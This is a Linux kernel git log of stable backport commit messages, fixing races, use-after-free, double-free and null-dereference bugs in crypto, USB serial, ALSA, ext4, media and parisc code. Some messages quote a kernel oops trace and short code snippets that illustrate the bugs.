95f1711fe379588c472a6eb4aa11a909730a3174 Author: Herbert Xu Date: Wed Dec 30 20:24:17 2015 +0800 crypto: af_alg - Fix socket double-free when accept fails commit a383292c86663bbc31ac62cc0c04fc77504636a6 upstream. When we fail an accept(2) call we will end up freeing the socket twice, once due to the direct sk_free call and once again through newsock. This patch fixes this by removing the sk_free call. Reported-by: Dmitry Vyukov Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1db695e15ff4963c00eff909773dae359e15484a Author: Herbert Xu Date: Wed Dec 30 11:47:53 2015 +0800 crypto: af_alg - Disallow bind/setkey/... after accept(2) commit c840ac6af3f8713a71b4d2363419145760bd6044 upstream. Each af_alg parent socket obtained by socket(2) corresponds to a tfm object once bind(2) has succeeded. An accept(2) call on that parent socket creates a context which then uses the tfm object. Therefore as long as any child sockets created by accept(2) exist the parent socket must not be modified or freed. This patch guarantees this by using locks and a reference count on the parent socket. Any attempt to modify the parent socket will fail with EBUSY. Reported-by: Dmitry Vyukov Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21b57bbd6acf335a4a6b611f48d85a01d17f4af1 Author: David Turner Date: Tue Nov 24 14:34:37 2015 -0500 ext4: Fix handling of extended tv_sec commit a4dad1ae24f850410c4e60f22823cba1289b8d52 upstream. In ext4, the bottom two bits of {a,c,m}time_extra are used to extend the {a,c,m}time fields, deferring the year 2038 problem to the year 2446. When decoding these extended fields, for times whose bottom 32 bits would represent a negative number, sign extension causes the 64-bit extended timestamp to be negative as well, which is not what's intended. This patch corrects that issue, so that the only negative {a,c,m}times are those between 1901 and 1970 (as per 32-bit signed timestamps). Some older kernels might have written pre-1970 dates with 1,1 in the extra bits. This patch treats those incorrectly-encoded dates as pre-1970, instead of post-2311, until kernel 4.20 is released. Hopefully by then e2fsck will have fixed up the bad data. Also add a comment explaining the encoding of ext4's extra {a,c,m}time bits. Signed-off-by: David Turner Signed-off-by: Theodore Ts'o Reported-by: Mark Harris Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=23732 Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0c046a262ab452d02fad19657936a0a3c5d23c13 Author: John Ernberg Date: Mon Jan 25 12:27:17 2016 +0000 USB: option: fix Cinterion AHxx enumeration commit 4152b387da81617c80cb2946b2d56e3958906b3e upstream. In certain kernel configurations where the cdc_ether and option drivers are compiled as modules there can occur a race condition in enumeration. This causes the option driver to enumerate the ethernet(wwan) interface as usb-serial interfaces. usb-devices output for the modem: T: Bus=01 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 5 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=ef(misc ) Sub=02 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=1e2d ProdID=0055 Rev=00.00 S: Manufacturer=Cinterion S: Product=AHx C: #Ifs= 6 Cfg#= 1 Atr=e0 MxPwr=10mA I: If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 1 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 2 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 4 Alt= 0 #EPs= 1 Cls=02(commc) Sub=06 Prot=00 Driver=cdc_ether I: If#= 5 Alt= 1 #EPs= 2 Cls=0a(data ) Sub=00 Prot=00 Driver=cdc_ether Signed-off-by: John Ernberg Fixes: 1941138e1c02 ("USB: added support for Cinterion's products...") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d67aa17221864e350ef57db1d2aa6acd59989c31 Author: Daniele Palmas Date: Tue Jan 12 17:22:06 2016 +0100 USB: serial: option: Adding support for Telit LE922 commit ff4e2494dc17b173468e1713fdf6237fd8578bc7 upstream. This patch adds support for two PIDs of LE922. Signed-off-by: Daniele Palmas Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f85e19bea06b9a500f10a36a7d1120c47bd2203 Author: Peter Dedecker Date: Fri Jan 8 12:34:41 2016 +0100 USB: cp210x: add ID for IAI USB to RS485 adaptor commit f487c54ddd544e1c9172cd510954f697b77b76e3 upstream. Added the USB serial console device ID for IAI Corp. RCB-CV-USB USB to RS485 adaptor. Signed-off-by: Peter Dedecker Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8798ee2201839c5f2c71c93f37290f0a4782cdef Author: Greg Kroah-Hartman Date: Tue Jan 19 23:43:13 2016 -0800 USB: serial: ftdi_sio: add support for Yaesu SCU-18 cable commit e03cdf22a2727c60307be6a729233edab3bfda9c upstream. Harald Linden reports that the ftdi_sio driver works properly for the Yaesu SCU-18 cable if the device ids are added to the driver. So let's add them. Reported-by: Harald Linden Signed-off-by: Greg Kroah-Hartman Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7b2f8900b3543da3762beb3a73edcc0ec6cbf24d Author: Johan Hovold Date: Tue Jan 12 12:05:20 2016 +0100 USB: visor: fix null-deref at probe commit cac9b50b0d75a1d50d6c056ff65c005f3224c8e0 upstream. Fix null-pointer dereference at probe should a (malicious) Treo device lack the expected endpoints. Specifically, the Treo port-setup hack was dereferencing the bulk-in and interrupt-in urbs without first making sure they had been allocated by core. Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1187336a8c7d882d011e3a44352d5a5d10fb0e5 Author: Vladis Dronov Date: Tue Jan 12 15:10:50 2016 +0100 USB: serial: visor: fix crash on detecting device without write_urbs commit cb3232138e37129e88240a98a1d2aba2187ff57c upstream. The visor driver crashes in clie_5_attach() when a specially crafted USB device without bulk-out endpoint is detected. This fix adds a check that the device has proper configuration expected by the driver. Reported-by: Ralf Spenneberg Signed-off-by: Vladis Dronov Fixes: cfb8da8f69b8 ("USB: visor: fix initialisation of UX50/TH55 devices") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 87227a57ab5ad9840eb8554fa2f52f1d4ae8741a Author: Ben Hutchings Date: Wed Dec 23 13:25:54 2015 +0000 USB: ti_usb_3410_502: Fix ID table size Commit 35a2fbc941ac ("USB: serial: ti_usb_3410_5052: new device id for Abbot strip port cable") failed to update the size of the ti_id_table_3410 array. This doesn't need to be fixed upstream following commit d7ece6515e12 ("USB: ti_usb_3410_5052: remove vendor/product module parameters") but should be fixed in stable branches older than 3.12. Backports of commit c9d09dc7ad10 ("USB: serial: ti_usb_3410_5052: add Abbott strip port ID to combined table as well.") similarly failed to update the size of the ti_id_table_combined array. Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 52e2f6f1c19503e8babad18dd160609485b9ab5a Author: Mauro Carvalho Chehab Date: Thu Feb 4 15:59:43 2016 -0200 saa7134-alsa: Only frees registered sound cards commit ac75fe5d8fe4a0bf063be18fb29684405279e79e upstream. That prevents this bug: [ 2382.269496] BUG: unable to handle kernel NULL pointer dereference at 0000000000000540 [ 2382.270013] IP: [] snd_card_free+0x36/0x70 [snd] [ 2382.270013] PGD 0 [ 2382.270013] Oops: 0002 [#1] SMP [ 2382.270013] Modules linked in: saa7134_alsa(-) tda1004x saa7134_dvb videobuf2_dvb dvb_core tda827x tda8290 tuner saa7134 tveeprom videobuf2_dma_sg videobuf2_memops videobuf2_v4l2 videobuf2_core v4l2_common videodev media auth_rpcgss nfsv4 dns_resolver nfs lockd grace sunrpc tun bridge stp llc ebtables ip6table_filter ip6_tables nf_conntrack_ipv4 nf_defrag_ipv4 xt_conntrack nf_conntrack it87 hwmon_vid snd_hda_codec_idt snd_hda_codec_generic iTCO_wdt iTCO_vendor_support snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_seq pcspkr i2c_i801 snd_seq_device snd_pcm snd_timer lpc_ich snd mfd_core soundcore binfmt_misc i915 video i2c_algo_bit drm_kms_helper drm r8169 ata_generic serio_raw pata_acpi mii i2c_core [last unloaded: videobuf2_memops] [ 2382.270013] CPU: 0 PID: 4899 Comm: rmmod Not tainted 4.5.0-rc1+ #4 [ 2382.270013] Hardware name: PCCHIPS P17G/P17G, BIOS 080012 05/14/2008 [ 2382.270013] task: ffff880039c38000 ti: ffff88003c764000 task.ti: ffff88003c764000 [ 2382.270013] RIP: 0010:[] [] snd_card_free+0x36/0x70 [snd] [ 2382.270013] RSP: 0018:ffff88003c767ea0 EFLAGS: 00010286 [ 2382.270013] RAX: ffff88003c767eb8 RBX: 0000000000000000 RCX: 0000000000006260 [ 2382.270013] RDX: ffffffffa020a060 RSI: ffffffffa0206de1 RDI: ffff88003c767eb0 [ 2382.270013] RBP: ffff88003c767ed8 R08: 0000000000019960 R09: ffffffff811a5412 [ 2382.270013] R10: ffffea0000d7c200 R11: 0000000000000000 R12: ffff88003c767ea8 [ 2382.270013] R13: 00007ffe760617f7 R14: 0000000000000000 R15: 0000557625d7f1e0 [ 2382.270013] FS: 00007f80bb1c0700(0000) GS:ffff88003f400000(0000) knlGS:0000000000000000 [ 2382.270013] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 2382.270013] CR2: 0000000000000540 CR3: 000000003c00f000 CR4: 00000000000006f0 [ 2382.270013] Stack: [ 2382.270013] 000000003c767ed8 ffffffff00000000 ffff880000000000 ffff88003c767eb8 [ 2382.270013] ffff88003c767eb8 ffffffffa049a890 00007ffe76060060 ffff88003c767ef0 [ 2382.270013] ffffffffa049889d ffffffffa049a500 ffff88003c767f48 ffffffff8111079c [ 2382.270013] Call Trace: [ 2382.270013] [] saa7134_alsa_exit+0x1d/0x780 [saa7134_alsa] [ 2382.270013] [] SyS_delete_module+0x19c/0x1f0 [ 2382.270013] [] entry_SYSCALL_64_fastpath+0x12/0x71 [ 2382.270013] Code: 20 a0 48 c7 c6 e1 6d 20 a0 48 89 e5 41 54 53 4c 8d 65 d0 48 89 fb 48 83 ec 28 c7 45 d0 00 00 00 00 49 8d 7c 24 08 e8 7a 55 ed e0 <4c> 89 a3 40 05 00 00 48 89 df e8 eb fd ff ff 85 c0 75 1a 48 8d [ 2382.270013] RIP [] snd_card_free+0x36/0x70 [snd] [ 2382.270013] RSP [ 2382.270013] CR2: 0000000000000540 Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 291a97f73ca9dcb79aaff49906e76698e5e2bf7e Author: Takashi Iwai Date: Tue Feb 9 12:02:32 2016 +0100 ALSA: timer: Fix race between stop and interrupt commit ed8b1d6d2c741ab26d60d499d7fbb7ac801f0f51 upstream. A slave timer element also unlinks at snd_timer_stop() but it takes only slave_active_lock. When a slave is assigned to a master, however, this may become a race against the master's interrupt handling, eventually resulting in a list corruption. The actual bug could be seen with a syzkaller fuzzer test case in BugLink below. As a fix, we need to take timeri->timer->lock when timer isn't NULL, i.e. assigned to a master, while the assignment to a master itself is protected by slave_active_lock. BugLink: http://lkml.kernel.org/r/CACT4Y+Y_Bm+7epAb=8Wi=AaWd+DYS7qawX52qxdCfOfY49vozQ@mail.gmail.com Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2c85bdec909184759e0689b83a9e56037582a1b5 Author: Takashi Iwai Date: Tue Feb 2 15:27:36 2016 +0100 ALSA: dummy: Implement timer backend switching more safely commit ddce57a6f0a2d8d1bfacfa77f06043bc760403c2 upstream. Currently the selected timer backend is referred at any moment from the running PCM callbacks. When the backend is switched, it's possible to lead to inconsistency from the running backend. This was pointed by syzkaller fuzzer, and the commit [7ee96216c31a: ALSA: dummy: Disable switching timer backend via sysfs] disabled the dynamic switching for avoiding the crash. This patch improves the handling of timer backend switching. It keeps the reference to the selected backend during the whole operation of an opened stream so that it won't be changed by other streams. Together with this change, the hrtimer parameter is reenabled as writable now. NOTE: this patch also turned out to fix the still remaining race. Namely, ops was still replaced dynamically at dummy_pcm_open: static int dummy_pcm_open(struct snd_pcm_substream *substream) { .... dummy->timer_ops = &dummy_systimer_ops; if (hrtimer) dummy->timer_ops = &dummy_hrtimer_ops; Since dummy->timer_ops is common among all streams, and when the replacement happens during accesses of other streams, it may lead to a crash. This was actually triggered by syzkaller fuzzer and KASAN. This patch rewrites the code not to use the ops shared by all streams any longer, too. BugLink: http://lkml.kernel.org/r/CACT4Y+aZ+xisrpuM6cOXbL21DuM0yVxPYXf4cD4Md9uw0C3dBQ@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 88facc7c19eb09eb7745ad6eff985b41a8c3baaf Author: Takashi Iwai Date: Sun Feb 7 09:38:26 2016 +0100 ALSA: hda - Fix speaker output from VAIO AiO machines commit c44d9b1181cf34e0860c72cc8a00e0c47417aac0 upstream. Some Sony VAIO AiO models (VGC-JS4EF and VGC-JS25G, both with PCI SSID 104d:9044) need the same quirk to make the speaker working properly. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=112031 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 730e94942d1113ca3048d6ece41b98ec9fe33b1f Author: Takashi Iwai Date: Mon Feb 8 17:36:25 2016 +0100 ALSA: timer: Fix wrong instance passed to slave callbacks commit 117159f0b9d392fb433a7871426fad50317f06f7 upstream. In snd_timer_notify1(), the wrong timer instance was passed for slave ccallback function. This leads to the access to the wrong data when an incompatible master is handled (e.g. the master is the sequencer timer and the slave is a user timer), as spotted by syzkaller fuzzer. This patch fixes that wrong assignment. BugLink: http://lkml.kernel.org/r/CACT4Y+Y_Bm+7epAb=8Wi=AaWd+DYS7qawX52qxdCfOfY49vozQ@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f7c946c0f7cd62578547a4c347dd40246d983854 Author: Takashi Iwai Date: Sat Jan 30 23:09:08 2016 +0100 ALSA: timer: Fix link corruption due to double start or stop commit f784beb75ce82f4136f8a0960d3ee872f7109e09 upstream. Although ALSA timer code got hardening for races, it still causes use-after-free error. This is however rather a corrupted linked list, not actually the concurrent accesses. Namely, when timer start is triggered twice, list_add_tail() is called twice, too. This ends up with the link corruption and triggers KASAN error. The simplest fix would be replacing list_add_tail() with list_move_tail(), but fundamentally it's the problem that we don't check the double start/stop correctly. So, the right fix here is to add the proper checks to snd_timer_start() and snd_timer_stop() (and their variants). BugLink: http://lkml.kernel.org/r/CACT4Y+ZyPRoMQjmawbvmCEDrkBD2BQuH7R09=eOkf5ESK8kJAw@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 90a189e09bd4247ae30821092ddf1e20aad6d74c Author: Takashi Iwai Date: Thu Feb 4 17:06:13 2016 +0100 ALSA: timer: Fix leftover link at closing commit 094fd3be87b0f102589e2d5c3fa5d06b7e20496d upstream. In ALSA timer core, the active timer instance is managed in active_list linked list. Each element is added / removed dynamically at timer start, stop and in timer interrupt. The problem is that snd_timer_interrupt() has a thinko and leaves the element in active_list when it's the last opened element. This eventually leads to list corruption or use-after-free error. This hasn't been revealed because we used to delete the list forcibly in snd_timer_stop() in the past. However, the recent fix avoids the double-stop behavior (in commit [f784beb75ce8: ALSA: timer: Fix link corruption due to double start or stop]), and this leak hits reality. This patch fixes the link management in snd_timer_interrupt(). Now it simply unlinks no matter which stream is. BugLink: http://lkml.kernel.org/r/CACT4Y+Yy2aukHP-EDp8-ziNqNNmb-NTf=jDWXMP7jB8HDa2vng@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f9e84d0232eccd5059df264874004bcdad7feec5 Author: Takashi Iwai Date: Thu Jan 14 17:01:46 2016 +0100 ALSA: timer: Code cleanup commit c3b1681375dc6e71d89a3ae00cc3ce9e775a8917 upstream. This is a minor code cleanup without any functional changes: - Kill keep_flag argument from _snd_timer_stop(), as all callers pass only it false. - Remove redundant NULL check in _snd_timer_stop(). Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6152108d249e0c09637997d1f36e8fd546529cef Author: Takashi Iwai Date: Wed Feb 3 08:32:44 2016 +0100 ALSA: seq: Fix lockdep warnings due to double mutex locks commit 7f0973e973cd74aa40747c9d38844560cd184ee8 upstream. The port subscription code uses double mutex locks for source and destination ports, and this may become racy once when wrongly set up. It leads to lockdep warning splat, typically triggered by fuzzer like syzkaller, although the actual deadlock hasn't been seen, so far. This patch simplifies the handling by reducing to two single locks, so that no lockdep warning will be trigger any longer. By splitting to two actions, a still-in-progress element shall be added in one list while handling another. For ignoring this element, a new check is added in deliver_to_subscribers(). Along with it, the code to add/remove the subscribers list element was cleaned up and refactored. BugLink: http://lkml.kernel.org/r/CACT4Y+aKQXV7xkBW9hpQbzaDO7LrUvohxWh-UwMxXjDy-yBD=A@mail.gmail.com Reported-by: Dmitry Vyukov Tested-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dfe10198eaae4c0bbed91ada061d27f42c002bfa Author: Takashi Iwai Date: Mon Feb 1 12:06:42 2016 +0100 ALSA: seq: Fix race at closing in virmidi driver commit 2d1b5c08366acd46c35a2e9aba5d650cb5bf5c19 upstream. The virmidi driver has an open race at closing its assigned rawmidi device, and this may lead to use-after-free in snd_seq_deliver_single_event(). Plug the hole by properly protecting the linked list deletion and calling in the right order in snd_virmidi_input_close(). BugLink: http://lkml.kernel.org/r/CACT4Y+Zd66+w12fNN85-425cVQT=K23kWbhnCEcMB8s3us-Frw@mail.gmail.com Reported-by: Dmitry Vyukov Tested-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2318cc3300d2336218b082f419c679e5e49d609a Author: Takashi Iwai Date: Sat Jan 30 23:30:25 2016 +0100 ALSA: seq: Fix yet another races among ALSA timer accesses commit 2cdc7b636d55cbcf42e1e6c8accd85e62d3e9ae8 upstream. ALSA sequencer may open/close and control ALSA timer instance dynamically either via sequencer events or direct ioctls. These are done mostly asynchronously, and it may call still some timer action like snd_timer_start() while another is calling snd_timer_close(). Since the instance gets removed by snd_timer_close(), it may lead to a use-after-free. This patch tries to address such a race by protecting each snd_timer_*() call via the existing spinlock and also by avoiding the access to timer during close call. BugLink: http://lkml.kernel.org/r/CACT4Y+Z6RzW5MBr-HUdV-8zwg71WQfKTdPpYGvOeS7v4cyurNQ@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea50fade54a39da843d4dc8cb99a89de3430abca Author: Vinod Koul Date: Mon Feb 1 22:26:40 2016 +0530 ASoC: dpcm: fix the BE state on hw_free commit 5e82d2be6ee53275c72e964507518d7964c82753 upstream. While performing hw_free, DPCM checks the BE state but leaves out the suspend state. The suspend state needs to be checked as well, as we might be suspended and then usermode closes rather than resuming the audio stream. This was found by a stress testing of system with playback in loop and killed after few seconds running in background and second script running suspend-resume test in loop Signed-off-by: Vinod Koul Acked-by: Liam Girdwood Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2d1c9bd25a0c5353c44ccfbaddd3de8c82333727 Author: Takashi Iwai Date: Sun Jan 31 10:32:37 2016 +0100 ALSA: pcm: Fix potential deadlock in OSS emulation commit b248371628aad599a48540962f6b85a21a8a0c3f upstream. There are potential deadlocks in PCM OSS emulation code while accessing read/write and mmap concurrently. This comes from the infamous mmap_sem usage in copy_from/to_user(). Namely, snd_pcm_oss_write() -> &runtime->oss.params_lock -> copy_to_user() -> &mm->mmap_sem mmap() -> &mm->mmap_sem -> snd_pcm_oss_mmap() -> &runtime->oss.params_lock Since we can't avoid taking params_lock from mmap code path, use trylock variant and aborts with -EAGAIN as a workaround of this AB/BA deadlock. BugLink: http://lkml.kernel.org/r/CACT4Y+bVrBKDG0G2_AcUgUQa+X91VKTeS4v+wN7BSHwHtqn3kQ@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 62851c490c215f595b7908d47d23e216b77874b9 Author: Takashi Iwai Date: Wed Feb 3 14:41:22 2016 +0100 ALSA: rawmidi: Fix race at copying & updating the position commit 81f577542af15640cbcb6ef68baa4caa610cbbfc upstream. The rawmidi read and write functions manage runtime stream status such as runtime->appl_ptr and runtime->avail. These point where to copy the new data and how many bytes have been copied (or to be read). The problem is that rawmidi read/write call copy_from_user() or copy_to_user(), and the runtime spinlock is temporarily unlocked and relocked while copying user-space. Since the current code advances and updates the runtime status after the spin unlock/relock, the copy and the update may be asynchronous, and eventually runtime->avail might go to a negative value when many concurrent accesses are done. This may lead to memory corruption in the end. For fixing this race, in this patch, the status update code is performed in the same lock before the temporary unlock. Also, the spinlock is now taken more widely in snd_rawmidi_kernel_read1() for protecting more properly during the whole operation. BugLink: http://lkml.kernel.org/r/CACT4Y+b-dCmNf1GpgPKfDO0ih+uZCL2JV4__j-r1kdhPLSgQCQ@mail.gmail.com Reported-by: Dmitry Vyukov Tested-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ba0e231a927ea58921613854ab9effeb785c6c7b Author: Takashi Iwai Date: Mon Feb 1 12:04:55 2016 +0100 ALSA: rawmidi: Remove kernel WARNING for NULL user-space buffer check commit cc85f7a634cfaf9f0713c6aa06d08817424db37a upstream. NULL user-space buffer can be passed even in a normal path, thus it's not good to spew a kernel warning with stack trace at each time. Just drop snd_BUG_ON() macro usage there. BugLink: http://lkml.kernel.org/r/CACT4Y+YfVJ3L+q0i-4vyQVyyPD7V=OMX0PWPi29x9Bo3QaBLdw@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f7a51d932249b646e67c3ac5954a301dfe455c38 Author: Takashi Iwai Date: Mon Jan 25 11:01:47 2016 +0100 ALSA: seq: Fix incorrect sanity check at snd_seq_oss_synth_cleanup() commit 599151336638d57b98d92338aa59c048e3a3e97d upstream. ALSA sequencer OSS emulation code has a sanity check for currently opened devices, but there is a thinko there, eventually it spews warnings and skips the operation wrongly like: WARNING: CPU: 1 PID: 7573 at sound/core/seq/oss/seq_oss_synth.c:311 Fix this off-by-one error. Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5ee7c4e717142ea0d07f991e3963268e4f3d42cd Author: Takashi Iwai Date: Thu Jan 28 07:54:16 2016 +0100 ALSA: dummy: Disable switching timer backend via sysfs commit 7ee96216c31aabe1eb42fb91ff50dae9fcd014b2 upstream. ALSA dummy driver can switch the timer backend between system timer and hrtimer via its hrtimer module option. This can be also switched dynamically via sysfs, but it may lead to a memory corruption when switching is done while a PCM stream is running; the stream instance for the newly switched timer method tries to access the memory that was allocated by another timer method although the sizes differ. As the simplest fix, this patch just disables the switch via sysfs by dropping the writable bit. BugLink: http://lkml.kernel.org/r/CACT4Y+ZGEeEBntHW5WHn2GoeE0G_kRrCmUh6=dWyy-wfzvuJLg@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 317a6ba9e5f9f12167907d648866686c1222a320 Author: Takashi Iwai Date: Mon Jan 25 13:59:21 2016 +0100 ALSA: compress: Disable GET_CODEC_CAPS ioctl for some architectures commit 462b3f161beb62eeb290f4ec52f5ead29a2f8ac7 upstream. Some architectures like PowerPC can handle the maximum struct size in an ioctl only up to 13 bits, and struct snd_compr_codec_caps used by SNDRV_COMPRESS_GET_CODEC_CAPS ioctl overflows this limit. This problem was revealed recently by a powerpc change, as it's now treated as a fatal build error. This patch is a stop-gap for that: for architectures with less than 14 bit ioctl struct size, get rid of the handling of the relevant ioctl. We should provide an alternative equivalent ioctl code later, but for now just paper over it. Luckily, the compress API hasn't been used on such architectures, so the impact must be effectively zero. Reviewed-by: Mark Brown Acked-by: Sudip Mukherjee Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e2facc19c78df8a824299cb0d7e44631b59a2b9f Author: Guillaume Fougnies Date: Tue Jan 26 00:28:27 2016 +0100 ALSA: usb-audio: Fix TEAC UD-501/UD-503/NT-503 usb delay commit 5a4ff9ec8d6edd2ab1cfe8ce6a080d6e57cbea9a upstream. TEAC UD-501/UD-503/NT-503 fail to switch properly between different rate/format. Similar to 'Playback Design', this patch corrects the invalid clock source error for TEAC products and avoids complete freeze of the usb interface of 503 series. Signed-off-by: Guillaume Fougnies Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9dfd1d153353ebd0aa3f874ea32253817fff9b05 Author: Al Viro Date: Mon Nov 23 21:11:08 2015 -0500 fix sysvfs symlinks commit 0ebf7f10d67a70e120f365018f1c5fce9ddc567d upstream. The thing got broken back in 2002 - sysvfs does *not* have inline symlinks; even short ones have bodies stored in the first block of file. sysv_symlink() handles that correctly; unfortunately, attempting to look an existing symlink up will end up confusing them for inline symlinks, and interpret the block number containing the body as the body itself. Nobody has noticed until now, which says something about the level of testing sysvfs gets ;-/ Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37d21068953e294902787a6634eccf04fcf56623 Author: Tiffany Lin Date: Thu Sep 24 06:02:36 2015 -0300 media: vb2 dma-contig: Fully cache synchronise buffers in prepare and finish commit d9a985883fa32453d099d6293188c11d75cef1fa upstream. In videobuf2 dma-contig memory type the prepare and finish ops, instead of passing the number of entries in the original scatterlist as the "nents" parameter to dma_sync_sg_for_device() and dma_sync_sg_for_cpu(), the value returned by dma_map_sg() was used. Albeit this has been suggested in comments of some implementations (which have since been corrected), this is wrong. Fixes: 199d101efdba ("v4l: vb2-dma-contig: add prepare/finish to dma-contig allocator") Signed-off-by: Tiffany Lin Signed-off-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a927b8ee84a4c3dd4772d74ea5ef3c1511c12e99 Author: Andrzej Hajda Date: Mon Aug 31 08:56:15 2015 -0300 v4l2-compat-ioctl32: fix alignment for ARM64 commit 655e9780ab913a3a06d4a164d55e3b755524186d upstream. Alignment/padding rules on AMD64 and ARM64 differs. To allow properly match compatible ioctls on ARM64 kernels without breaking AMD64 some fields should be aligned using compat_s64 type and in one case struct should be unpacked. Signed-off-by: Andrzej Hajda [hans.verkuil@cisco.com: use compat_u64 instead of compat_s64 in v4l2_input32] Signed-off-by: Hans Verkuil Signed-off-by: Greg Kroah-Hartman Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Pranav Vashi commit 3f292da3e0ca9fb973d9b5fb07e02fd889a6c598 Author: Helge Deller Date: Sun Jan 10 09:30:42 2016 +0100 parisc: Fix __ARCH_SI_PREAMBLE_SIZE commit e60fc5aa608eb38b47ba4ee058f306f739eb70a0 upstream. On a 64bit kernel build the compiler aligns the _sifields union in the struct siginfo_t on a 64bit address. The __ARCH_SI_PREAMBLE_SIZE define compensates for this alignment and thus fixes the wait testcase of the strace package. The symptoms of a wrong __ARCH_SI_PREAMBLE_SIZE value is that _sigchld.si_stime variable is missed to be copied and thus after a copy_siginfo() will have uninitialized values. Signed-off-by: Helge Deller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 89ef33f8f3e796671cb2fbf79fb3dad913523c46 Author: Helge Deller Date: Mon Dec 21 10:03:30 2015 +0100 parisc: Fix syscall restarts commit 71a71fb5374a23be36a91981b5614590b9e722c3 upstream. On parisc syscalls which are interrupted by signals sometimes failed to restart and instead returned -ENOSYS which in the worst case lead to userspace crashes. A similiar problem existed on MIPS and was fixed by commit e967ef02 ("MIPS: Fix restart of indirect syscalls"). On parisc the current syscall restart code assumes that all syscall callers load the syscall number in the delay slot of the ble instruction. That's how it is e.g. done in the unistd.h header file: ble 0x100(%sr2, %r0) ldi #syscall_nr, %r20 Because of that assumption the current code never restored %r20 before returning to userspace. This assumption is at least not true for code which uses the glibc syscall() function, which instead uses this syntax: ble 0x100(%sr2, %r0) copy regX, %r20 where regX depend on how the compiler optimizes the code and register usage. This patch fixes this problem by adding code to analyze how the syscall number is loaded in the delay branch and - if needed - copy the syscall number to regX prior returning to userspace for the syscall restart. Signed-off-by: Helge Deller Cc: Mathieu Desnoyers Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e9620e6d1d00f2e3e56c0d8951833ba3e6a87739 Author: Helge Deller Date: Sun Nov 22 12:14:14 2015 +0100 parisc: Drop unused MADV_xxxK_PAGES flags from asm/mman.h commit dcbf0d299c00ed4f82ea8d6e359ad88a5182f9b8 upstream. Drop the MADV_xxK_PAGES flags, which were never used and were from a proposed API which was never integrated into the generic Linux kernel code. 